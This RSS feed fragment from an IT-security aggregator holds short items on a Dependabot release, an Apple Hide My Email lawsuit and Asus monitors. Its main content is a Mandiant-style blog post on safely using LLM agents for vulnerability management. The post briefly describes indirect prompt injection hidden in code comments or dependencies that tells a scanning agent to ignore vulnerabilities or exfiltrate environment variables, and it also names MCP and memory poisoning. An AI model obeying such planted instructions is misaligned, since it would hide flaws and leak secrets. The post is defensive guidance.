<li>Type git source details by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4896503633" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15593" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15593/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15593">#15593</a></li>
<li>Expose typed git source details by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4897605250" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15594" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15594/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15594">#15594</a></li>
<li>v0.387.0 by @dependabot-core-action-automation[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4904637892" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15604" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15604/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15604">#15604</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RinseV/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RinseV">@RinseV</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4597635124" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15231" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15231/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15231">#15231</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/dependabot/dependabot-core/compare/v0.386.0...v0.387.0"><tt>v0.386.0...v0.387.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hide My Email class action lawsuit seeks payout without evidence of any attacks]]></title>
<description><![CDATA[A proposed class action is trying to turn Apple's unresolved Hide My Email flaw into a nationwide payout without alleging that the vulnerability was used in an attack or that the plaintiff's email address was exposed.Apple's Hide My Email serviceAnthony Alvarez filed the lawsuit against Apple on ...]]></description>
<link>https://tsecurity.de/de/3674409/ios-mac-os/hide-my-email-class-action-lawsuit-seeks-payout-without-evidence-of-any-attacks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674409/ios-mac-os/hide-my-email-class-action-lawsuit-seeks-payout-without-evidence-of-any-attacks/</guid>
<pubDate>Thu, 16 Jul 2026 20:39:27 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A proposed class action is trying to turn Apple's unresolved Hide My Email flaw into a nationwide payout without alleging that the vulnerability was used in an attack or that the plaintiff's email address was exposed.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68269-143900-967A61C1-FA5C-4CF0-9182-D26130A192AD-xl.jpg" alt="iPhone screen on Hide my email setup page, showing a generated iCloud email address, a text field labeled Test being edited, and part of the keyboard, resting on brown leather surface" height="738"><span>Apple's Hide My Email service</span></div><br>Anthony Alvarez filed the lawsuit against Apple on July 15 in the U.S. District Court for the Northern District of California. The complaint accuses the company of false advertising, fraud, breach of contract, and other violations tied to its marketing of Hide My Email.<br><br>The filing argues that Apple sold customers privacy it couldn't provide. The claims cover the full version included with paid <a href="https://appleinsider.com/inside/icloud" title="iCloud" data-kpt="1">iCloud</a>+ plans and the more limited relay addresses generated through Sign in with Apple.<br><br>Alvarez seeks to represent four proposed classes covering U.S. Apple customers, including two California subclasses. The lawsuit seeks damages and an order requiring Apple to fix Hide My Email or clearly disclose its limitations.<br><br><br> <a href="https://appleinsider.com/articles/26/07/16/hide-my-email-class-action-lawsuit-seeks-payout-without-evidence-of-any-attacks?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244975?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Asus PG27UCWM und PG32UCWM: OLED mit RGB-Stripe-Pixeln bereit für den Marktstart]]></title>
<description><![CDATA[Zwei neue OLED-Monitore von Asus waren bisher nur auf CES und Computex zu Gast. Doch jetzt kündigt Asus die Verfügbarkeit des ROG Swift OLED PG27UCWM und des ROG Swift OLED PG32UCWM an. Beide nutzen ein neues LG-Panel mit RGB-Stripe-Layout sowie GaN-Technik bei der Stromversorgung für weniger Abw...]]></description>
<link>https://tsecurity.de/de/3674331/it-nachrichten/asus-pg27ucwm-und-pg32ucwm-oled-mit-rgb-stripe-pixeln-bereit-fuer-den-marktstart/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674331/it-nachrichten/asus-pg27ucwm-und-pg32ucwm-oled-mit-rgb-stripe-pixeln-bereit-fuer-den-marktstart/</guid>
<pubDate>Thu, 16 Jul 2026 20:02:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img src="https://pics.computerbase.de/1/2/3/7/9/7-1fd8ae9e9ff23133/article-640x360.321e2e9c.jpg"><p>Zwei neue OLED-Monitore von Asus waren bisher nur auf CES und Computex zu Gast. Doch jetzt kündigt Asus die Verfügbarkeit des ROG Swift OLED PG27UCWM und des ROG Swift OLED PG32UCWM an. Beide nutzen ein neues LG-Panel mit RGB-Stripe-Layout sowie GaN-Technik bei der Stromversorgung für weniger Abwärme.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Demystifying AI Exploits: A Blueprint for AI-Assisted Vulnerability Management]]></title>
<description><![CDATA[Written by: Jules Czarniak

Introduction 
As highlighted in the Mandiant M-Trends 2026 report, the mean time-to-exploit (TTE) has dropped to -7 days, meaning vulnerabilities are often exploited a week before a patch even exists. 
To keep pace, many security teams are exploring how to integrate la...]]></description>
<link>https://tsecurity.de/de/3673775/it-security-nachrichten/demystifying-ai-exploits-a-blueprint-for-ai-assisted-vulnerability-management/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673775/it-security-nachrichten/demystifying-ai-exploits-a-blueprint-for-ai-assisted-vulnerability-management/</guid>
<pubDate>Thu, 16 Jul 2026 16:23:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph_advanced"><p>Written by: Jules Czarniak</p>
<hr></div>
<div class="block-paragraph_advanced"><h3><span>Introduction </span></h3>
<p><span>As highlighted in the </span><a href="https://cloud.google.com/security/resources/m-trends"><span>Mandiant M-Trends 2026 report</span></a><span>, the mean time-to-exploit (TTE) has dropped to -7 days, meaning vulnerabilities are often exploited a week before a patch even exists. </span></p>
<p><span>To keep pace, many security teams are exploring how to integrate large language model (LLM) agents into their codebases, development environments and continuous integration and continuous delivery (CI/CD) pipelines for automated vulnerability discovery and remediation. However, deploying privileged artificial intelligence (AI) agents without mature integration processes introduces new architectural risks. </span></p>
<p><span>In response to customer inquiries about how to safely integrate AI capabilities into vulnerability management workflows, this blog provides actionable guidance from Mandiant Consulting about how to establish operational guardrails for AI assisted vulnerability management, including several detailed scenarios. What each of these examples show is that security teams can accelerate workflows with AI while also upholding the structural integrity of their environments. We suggest that combining AI capabilities with deterministic controls and human intelligence in strategic ways maximizes benefits and reduces risk. </span></p>
<h3><span>Establish Operational Guardrails to Safely Deploy AI Agents</span></h3>
<p><span>To safely adopt advanced AI capabilities without introducing unpredictable failures into deployment pipelines, organizations should ground their approach in established industry standards. While guidelines like the </span><a href="https://www.nist.gov/itl/ai-risk-management-framework" rel="noopener" target="_blank"><span>NIST AI Risk Management Framework (RMF)</span></a><span> and the </span><a href="https://owasp.org/www-project-top-10-for-large-language-model-applications/" rel="noopener" target="_blank"><span>OWASP Top 10 for LLMs</span></a><span> provide comprehensive baselines for identifying risks, operationalizing these controls requires a structural blueprint.</span></p>
<p><span>Frameworks like </span><a href="https://safety.google/intl/en_sg/safety/saif/" rel="noopener" target="_blank"><span>Google’s Secure AI Framework (SAIF)</span></a><span> </span><a href="https://safety.google/intl/en_sg/safety/saif/" rel="noopener" target="_blank"><span>and</span></a><a href="https://storage.googleapis.com/gweb-research2023-media/pubtools/1018686.pdf" rel="noopener" target="_blank"><span> </span><span>Google’s approach to secure AI Agents</span></a><span> provide a practical path forward, demanding that organizations extend existing deterministic controls directly into the AI execution environment. When deploying AI agents, security teams should navigate specific operational and structural risks:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Pre-agent data security and Defense-in-Depth:</strong><span> Agents should not be able to access personally identifiable information (PII), protected health information (PHI), or other sensitive data. Organizations should enforce data security before the prompt reaches the model. This includes strictly using non-production environments populated with synthetic data for testing. For production, security teams should deploy a hybrid defense-in-depth model. This includes Layer 1 deterministic policy engines acting as chokepoints, alongside Layer 2 reasoning-based defenses like specialized guard models (such as </span><a href="https://docs.cloud.google.com/model-armor/overview"><span>Model Armor</span></a><span> or similar provider-agnostic guardrails) to filter out sensitive data and block malicious prompt injections before they reach the agent layer. Crucially for vulnerability discovery, security teams should treat the codebase itself as an untrusted input. Threat actors can embed indirect prompt injections within source code comments or third-party dependencies (e.g., hidden instructions telling the agent to ignore vulnerabilities or exfiltrate environment variables), making input sanitation a requirement even for internal scanning.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Cloud provider limitations and zero data retention (ZDR):</strong><span> Many cloud and LLM providers block or throttle automated offensive security probing by default to prevent abuse. Organizations should establish clear rules of engagement and authorized testing agreements to navigate acceptable use policies. Furthermore, organizations should enforce strict zero data retention (ZDR) agreements with their LLM providers to guarantee that proprietary code and discovered vulnerabilities are never used to train external models.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Workload isolation:</strong><span> Agent workloads should execute in strictly isolated, unprivileged containers with dynamically limited privileges. By relying on robust sandboxing to prevent privilege escalation, if an agent hallucinates a destructive command or is hijacked via prompt injection, the blast radius remains contained.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Red Teaming:</strong><span> Before deploying autonomous vulnerability scanners that can dynamically spin up sandboxes and execute code, organizations should subject the AI agents themselves to human-led red teaming as part of comprehensive assurance efforts. This validates the agent's resilience against jailbreaks, recursive logic loops, and complex prompt injections, ensuring the security tooling does not become the attack vector.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Least-Privileged Machine Identities and Human Controllers:</strong><span> While workloads should be isolated, agents inherently require privileges to generate pull requests and commit code. Security teams should ensure these agents operate under distinct, strictly scoped machine identities that tie back to human controllers to ensure accountability and user consent. Organizations should use short-lived, just-in-time (JIT) tokens bound exclusively to the specific repository and branch under review. T</span><span>his enforces the principle of limited agent powers and ensures that even if an agent’s container is compromised via prompt injection, the threat actor cannot pivot to modify adjacent enterprise codebases.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Supply chain resilience for skills:</strong><span> As developers augment AI with third-party skills and model context protocol (MCP) servers, security teams should treat these integrations as untrusted supply chain components. MCP plugins introduce the risk of supply chain poisoning, where a previously benign integration is silently updated with malicious dependencies. Additionally, security teams should evaluate the underlying agent orchestration frameworks themselves (e.g., LangChain, AutoGen) for inherent vulnerabilities, such as session memory poisoning or recursive loop hijacking.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Toxic flow analysis (TFA) and Observable Actions:</strong><span> The objective of TFA is to monitor data paths at runtime, ensuring agents do not exfiltrate sensitive internal context to unvetted external endpoints. Agent actions, inputs, reasoning, and outputs must be fully observable and transparently logged. While implementing dynamic taint tracking for LLMs remains a complex architectural challenge, organizations should clearly separate this runtime observability from static supply chain controls. Integrating threat intelligence to hash and vet incoming agent tools provides a necessary baseline for verifying integrity </span><span>before</span><span> deployment. However, because static controls cannot address behavior post-deployment, mitigating data exfiltration ultimately requires active runtime monitoring and secure, centralized logging to trace and restrict the actual flow of data.</span></p>
</li>
</ul></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Demystifying_AI_image1.max-1000x1000.png" alt="Demystifying AI image1">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="u6hlz">Figure 1: Visual representation of an isolated AI agent environment using SAIF mechanisms</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>By operationalizing these tools within frameworks that demand verifiable integrity and structural resilience, organizations can safely bridge the gap between AI velocity and enterprise defense.</span></p>
<h3><span>The need for human-led threat modeling</span></h3>
<p><span>While LLMs excel at identifying syntax patterns, source code itself rarely contains the full picture of unwritten business intent. Some organizations attempt to solve this by connecting LLM agents to internal wikis, design documents, and issue trackers using retrieval-augmented generation (RAG).</span></p>
<p><span>While RAG gives the model access to external business context, it is not a perfect fix. Corporate documentation is frequently stale, contradictory, or incomplete. An AI agent might retrieve an outdated architecture diagram and confidently hallucinate a secure path that no longer exists in production. Because LLM agents struggle to resolve conflicting, undocumented human assumptions, human-led threat modeling remains a critical security control across both legacy applications and modern agent workflows.</span></p>
<p><span>Security teams should apply threat modeling during both the pre-build system design phase to establish a secure foundation, and during post-build architecture reviews. While an AI agent might successfully identify a poorly configured internal endpoint locally, a human threat modeler asks the structural question: </span><span>why does that microservice possess broad database read permissions in the first place?</span><span> </span></p>
<p><span>Identifying architectural vulnerabilities requires reasoning about business risk, data sensitivity, and operational constraints. To structure this process, organizations can use industry frameworks like PASTA (Process for Attack Simulation and Threat Analysis) or service offerings like the </span><a href="https://services.google.com/fh/files/misc/ds-threat-modeling-security-service-en.pdf" rel="noopener" target="_blank"><span>Mandiant Threat Modeling Security Service</span></a><span> to map trust boundaries, uncover structural design flaws, and prioritize compensating controls. Securing fundamental architecture through human oversight is a necessary component when relying on automated agents to find bugs in a poorly designed system.</span></p>
<p><span>Once these AI agents are safely sandboxed, as guided by SAIF, and the architecture is verified through threat modeling, organizations can typically apply them to two different problem spaces: Enterprise Vulnerability Management (to assist in managing the volume of known CVEs in commercial off-the-shelf (COTS) software and infrastructure) and Product Security (to identify vulnerabilities in 1st-party (1P) code).</span></p>
<h3><span>Track 1: Enterprise Vulnerability Management</span></h3>
<h4><span>Foundational security and discovery </span></h4>
<p><span>While the second track of this post explores how AI agents can uncover complex zero-days in custom code, organizations should manage the scale of enterprise infrastructure in tandem with these AI deployments. Even as new AI capabilities dominate headlines, organizations should still address foundational security challenges, such as secrets sprawl, unmanaged service accounts, missing FIDO2 MFA, and legacy VPN concentrators. Although vulnerability exploitation was the primary initial infection vector in intrusions Mandiant investigated last year, threat actors consistently rely on missing foundational controls and unpatched edge devices to secure and escalate their foothold after exploiting a vulnerability.</span></p>
<p><span>Furthermore, AI cannot replace foundational visibility. As security teams deploy AI agents, they should simultaneously close these tactical entry points by maximizing dynamic discovery capabilities like External Attack Surface Management (EASM), Cloud Security Posture Management (CSPM), and Continuous Threat Exposure Management (CTEM). In hybrid and cloud environments, tools like </span><a href="https://cloud.google.com/wiz?e=48754805"><span>Wiz</span></a><span> can be used to map this initial footprint.</span></p>
<h3><span>Risk-based vulnerability management </span></h3>
<p><span>Vulnerability management teams are already overwhelmed by the current volume of findings generated by traditional scanners. As organizations scale dynamic discovery tools, such as EASM, CSPM and CTEM, alongside automated AI agents, this influx of findings will compound the problem. To manage this influx, telemetry from these diverse discovery methods must first be normalized and deduplicated. This normalized data serves two purposes: it feeds directly into the risk engine, and it acts as a live overlay to correct stale records in the configuration management database (CMDB). By evaluating the deduplicated vulnerabilities alongside this newly updated asset context and frontline threat intelligence, the RBVM engine calculates a custom risk score that allows security teams to dynamically prioritize remediation.</span></p>
<p><span>A mature RBVM methodology calculates a customized risk score on a 0 to 100 scale using a weighted average. A sample formula for calculating this risk-based score is:</span></p>
<p><span>Final Score = (W_1 * S_vuln) + (W_2 * S_asset) + (W_3 * S_threat)</span></p>
<p><span>The variables and weights (W) are customized to the organization's risk appetite (for example, 0.20 for vulnerability, 0.40 for asset, and 0.40 for threat, summing to 1.0), while the underlying variables (S) are scored on a 0 to 100 scale and defined as follows:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Vulnerability severity (S_vuln): </strong><span>The inherent technical severity of the flaw. This is calculated by taking the CVSS Base Score (which natively accounts for confidentiality, integrity, and availability impact) and multiplying it by 10.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Asset context (S_asset): </strong><span>A combined metric of exposure and data sensitivity. Scores range from 100 for internet-facing assets holding customer data, down to 25 for internal-only assets with no sensitive data. To translate this impact into monetary terms for non-technical stakeholders, organizations can incorporate Factor Analysis of Information Risk (FAIR) principles into this metric. However, this approach requires highly accurate, continuously updated financial data that many enterprises struggle to maintain at scale.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Threat context (S_threat): </strong><span>The real-world urgency of the vulnerability. Scores range from 100 if actively exploited by threat actors relevant to the organization's profile, 75 if a proof-of-concept exists or if it is a vulnerability class easily exploited by autonomous AI agents, down to 25 if the exploit is theoretical and highly complex. Organizations should also map the Exploit Prediction Scoring System (EPSS) probability percentage directly into this variable. This allows the threat score to automatically scale up or down as real-world exploitation telemetry shifts, aligning static vulnerability data with active threat intelligence.</span></p>
</li>
</ul>
<p><span>An asset's customized risk score should directly influence internal remediation service-level agreements (SLAs), unless external compliance-driven mandates, such as CISA Binding Operational Directives (BODs), or relevant equivalents, override internal prioritization. A risk-driven and threat-intelligence-driven vulnerability prioritization methodology will help organizations focus resources on managing and mitigating the most critical security vulnerabilities first. This is an area where LLMs can support the vulnerability management process, particularly by helping teams synthesize unstructured threat intelligence to surface relevant risk contexts more efficiently. Enforcing strict SLOs for patching, while requiring formal risk acceptance documentation for any patching exceptions, will help reduce the number of vulnerabilities available to threat actors and increase the visibility of outstanding risks across the organization. Furthermore, organizations should integrate RBVM data directly into their security orchestration, automation, and response (SOAR) platforms for automated alert enrichment.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--medium
      
      
        h-c-grid__col
        
        h-c-grid__col--4 h-c-grid__col--offset-4
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Demystifying_AI_image5.max-1000x1000.png" alt="Demystifying AI image5">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="ce5s1">Figure 2: Integration points of a risk-based vulnerability management (RBVM) program.</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Containment and Observability</span></h3>
<p><span>Modern architecture blueprints must prioritize attack surface reduction under the assumption that vulnerabilities will inevitably be exploited. Moving away from traditional perimeter defenses, organizations should align with zero trust principles, ensuring that security boundaries are established around every asset, workload, and identity.</span></p>
<p><span>A component of this alignment is the implementation of strong authentication principles. Organizations should eliminate implicit trust by enforcing continuous, context-aware authentication and authorization. Utilizing Zero Trust Network Access (ZTNA) solutions, such as Identity-Aware Proxies (IAP), shields critical management interfaces (e.g., SSH, RDP) and internal systems from direct internet exposure, granting access only to verified identities and compliant devices.</span></p>
<p><span>For public-facing applications and APIs, attack surface reduction involves deploying Layer 7 inspection at the load balancer or API gateway level. This hardening layer enforces strict schema validation, intercepting and neutralizing malformed inbound traffic and potential exploits before they can interact with internal application logic.</span></p>
<p><span>Securing the software supply chain is equally vital in modern blueprints, and organizations should align with frameworks like </span><a href="https://slsa.dev/spec/v0.1/levels" rel="noopener" target="_blank"><span>Supply-chain Levels for Software Artifacts (SLSA)</span></a><span> across both dependency and build tracks. Security policies should mandate that third-party dependencies are routed through a centralized artifact repository equipped with automated curation services, such as </span><a href="https://cloud.google.com/security/products/assured-open-source-software"><span>Google Assured Open Source Software (OSS)</span></a><span> or an equivalent solution, preventing untrusted code from entering the development lifecycle. Furthermore, maturing toward advanced SLSA build levels (e.g., SLSA level 3) through the implementation of isolation, ephemerality and reproducibility requirements via  ephemeral compute infrastructure for CI/CD runners reduces the likelihood of attacker persistence by ensuring environments are short-lived and automatically cycled.</span></p>
<p><span>To complement these pre-build controls, runtime observability should be established across all production workloads. This requires monitoring both infrastructure-level behavior and the specific runtime libraries actively executing in production, which surfaces true exploitable risk far beyond a static Software Bill of Materials. In tandem with monitoring workloads, organizations should secure how they authenticate by implementing workload identity federation. By removing static credentials and instead using short-lived tokens backed by strong cryptographic identity verification, organizations can reduce the risk of credential theft and unauthorized lateral movement.</span></p>
<p><span>Within the internal environment, microsegmentation should be enforced to break down flat networks into granular security zones. Routing application traffic through a Secure Access Service Edge (SASE) architecture integrates network routing directly with robust identity controls, rendering internal services completely invisible to unauthenticated users and containing threats to their initial point of entry.</span></p>
<p><span>Finally, automated containment and incident response within a zero trust framework must rely on deterministic, auditable tooling. Endpoint detection and response (EDR) platforms and SOAR playbooks should handle high-fidelity containment tasks through hardcoded execution logic. While AI tools accelerate triage and policy recommendation, actual execution capabilities must remain restricted to well-defined, pre-tested workflows to maintain total architectural predictability.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Demystifying_AI_image8.max-1000x1000.png" alt="Demystifying AI image8">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="ak3zc">Figure 3: Structural containment and observability architecture</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Track 2: Product Security &amp; Development (1P Code)</span></h3>
<h4><span>Deterministic and probabilistic tooling</span></h4>
<p><span>Integrating LLM agents into vulnerability management and security workflows requires recognizing the differences between deterministic and probabilistic tooling. Traditional SAST and DAST tools utilize fixed methodologies to evaluate vulnerabilities through structural code parsing or definitive runtime observations. LLMs, however, evaluate source code by processing tokens simultaneously to calculate statistical and semantic relationships, rather than tracing deterministic execution tracks.</span></p>
<p><span>While techniques like Chain of Thought (CoT) prompting allow models to bridge this gap by decomposing complex code paths into intermediate reasoning steps, this process remains bounded by architectural limitations. Even when a model possesses a context window large enough to ingest entire repositories, it may experience attention degradation across long inputs, often failing to correctly weight intervening validation or sanitization logic within the prompt. For example, if a variable is tainted on line 10 but sanitized on line 500, attention degradation can cause the model to lose track of the sanitization logic. Furthermore, when enterprise codebases require chunking to fit within context limits, the resulting fragmentation may cause the model to lose track of end-to-end data flows.</span></p>
<p><span>Consequently, probabilistic engines are effective at uncovering localized, static anomalies, such as hardcoded credentials or outdated dependencies, but frequently misjudge complex vulnerabilities split across fragmented chunks or extended context windows. Notable exceptions occur when these probabilistic models are coupled with deterministic feedback loops. For instance, when analyzing C++ memory corruption, an LLM can be equipped with a test harness to iteratively execute code and definitively prove a crash. While these dynamic validation applications are detailed in subsequent sections, the baseline limitation for static analysis across standard enterprise codebases remains: models struggle to consistently evaluate dispersed logic.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Demystifying_AI_image4.max-1000x1000.png" alt="Demystifying AI image4">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="ak3zc">Figure 4: Deterministic SAST scanners vs. probabilistic LLMs</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Binary and architectural oracles</span></h3>
<p><span>Many security programs are moving toward agent workflows where an agent autonomously spins up a test environment and uses tools to execute payloads and verify its findings. This is a promising approach, but it is important to understand where it is most effective.</span></p>
<p><span>Agent workflows perform well against bug classes with binary and observable oracles, meaning the system provides an objective, 'crash or no crash' feedback loop. For example, if a model is hunting for memory corruption in a C++ kernel, a successful exploit is undeniable: the payload executes, and a resulting crash definitively proves the vulnerability. This explains why the industry is currently seeing a surge in AI-discovered vulnerabilities across memory-unsafe targets like web browsers and operating systems.</span></p>
<p><span>However, enterprise software is heavily dominated by vulnerabilities that require architectural oracles for validation. Vulnerabilities like authorization bypasses, complex business logic flaws, and indirect server-side request forgeries require an understanding of business context and cross-service trust boundaries. If an agent's payload fails to produce a clear outcome, it can't reliably distinguish whether the vulnerability is a hallucination or if it simply constructed the payload incorrectly. An agent's malformed payload might even crash an unrelated background process and cause the model to hallucinate a success and report a false confirmation. Complex enterprise architecture contains unwritten business intent that a probabilistic engine can't inherently know.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Demystifying_AI_image3.max-1000x1000.png" alt="Demystifying AI image3">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="bg92b">Figure 5: Evaluating vulnerabilities against binary vs. architectural oracles</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Targeted deployment and human impact</span></h3>
<p><span>Organizations adopting LLMs for vulnerability discovery face a massive staffing challenge. LLMs can generate findings significantly faster than human engineers can triage them. If every LLM-generated alert requires manual review, security teams will quickly face burnout and/or suffer alarm fatigue.</span></p>
<p><span>Rather than indiscriminately pointing agents at all available codebases and risking an influx of unverified output, security teams need a selective deployment strategy. Mature programs should maintain SAST and DAST for baseline hygiene and deterministic rule enforcement, and reserve intensive agent audits for high-impact components with clear binary oracles.</span></p>
<p><span>Organizations can prioritize agent audits on systems where the technology's strengths align with the broader risk profile:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Memory-unsafe codebases:</strong><span> Legacy or high-performance components written in memory-unsafe languages such as C, C++, or Assembly are strong candidates for LLM audits. These languages are susceptible to memory corruption flaws, such as buffer overflows and use-after-free conditions. Because these vulnerabilities trigger definitive failure states like segmentation faults, they work well with automated sandboxes where agents can compile the code with memory sanitizers and write proof-of-concept inputs. This approach is also effective for auditing the native extensions where safe languages call unsafe internal libraries, such as Python C extensions or the Java Native Interface (JNI).</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Systems highly exposed to outside content:</strong><span> First-party data ingestion pipelines, custom API gateways, or proprietary edge proxies. A prerequisite here is direct access to the source code, this strategy is strictly for internally developed or fully open-source codebases where the organization can inspect the logic. Because these systems directly parse untrusted internet traffic, targeting their source code for LLM-driven audits yields the highest risk-reduction ROI.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Shared internal libraries and utilities: </strong><span>Core serialization/deserialization packages, common utility functions, and custom middleware wrappers (such as internal message-queue parsers) maintained in-house. Because the enterprise owns the source code for these shared building blocks, agent tools can easily hook into them within automated test harnesses to fuzz inputs and catch low-level logic or parsing bugs with high fidelity.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Foundational security boundaries:</strong><span> Internally developed centralized authentication services, custom OAuth providers, and internal credential brokers. While testing complex identity boundaries generates higher logic-based noise, having full access to the source code allows teams to pair agents with deterministic checks to safely triage findings, given that the blast radius of an authentication failure justifies the human effort.</span></p>
</li>
</ul>
<p><span>To filter the noise generated by LLMs, organizations should establish routing rules. Require the agent to generate a fully reproducible, deterministic test harness (such as a compiled binary or a Python test script) that attempts to prove the exploit. This harness must execute automatically in an isolated, monitored sandbox. If the sandbox execution fails (due to a syntax error or a failed exploit), the ticket is discarded, sparing human resources. However, organizations should enforce execution timeouts and iteration limits on these test harnesses. Without hard limits, an autonomous agent attempting to prove a vulnerability can fall into an infinite loop: writing a script, failing, rewriting, and failing again, exhausting API token budgets and compute resources against a single dead-end vulnerability, creating significant cost overruns without advancing the security review. To manage these expenses, organizations should incorporate FinOps principles to balance the compute and API costs of LLM audits against the traditional expenses of manual triage.</span></p>
<p><span>However, a successful execution in the sandbox does not guarantee an actionable, high-priority risk. In practice, autonomous agents frequently produce working PoCs for genuine technical flaws that are ultimately irrelevant; or warrant a lower remediation priority within the context of the system's threat model. For example, the agent might successfully exploit an unreachable dead-code path, or trigger a bug that requires administrative access to execute and yields no further escalation of privilege. Therefore, a human engineer should be assigned to review and prioritize the ticket only if the sandbox registers a successful execution, validating environmental context, reachability, and true business impact as part of the review.</span></p>
<p><span>This workflow reduces the volume of alerts, but it is important to understand that the security team's workload does not disappear. The engineer's primary job shifts from manually hunting for the initial vulnerability to auditing the LLM-generated proof to ensure it represents a meaningful risk rather than an unexploitable or contextually irrelevant finding. Leadership should properly staff and train teams for this new reality. Deploying LLM agents does not remove the need for skilled practitioners; it redirects their workload toward complex validation. Equally important is training teams to recognize the risk of false negatives. A hyper-focus on filtering AI-generated noise can create a false sense of security. If an exploit relies on a novel technique or a zero-day vulnerability that was not heavily weighted in the model's training data, the agent will likely scan right past it in silence. LLMs augment discovery, but they do not guarantee exhaustive coverage.</span></p>
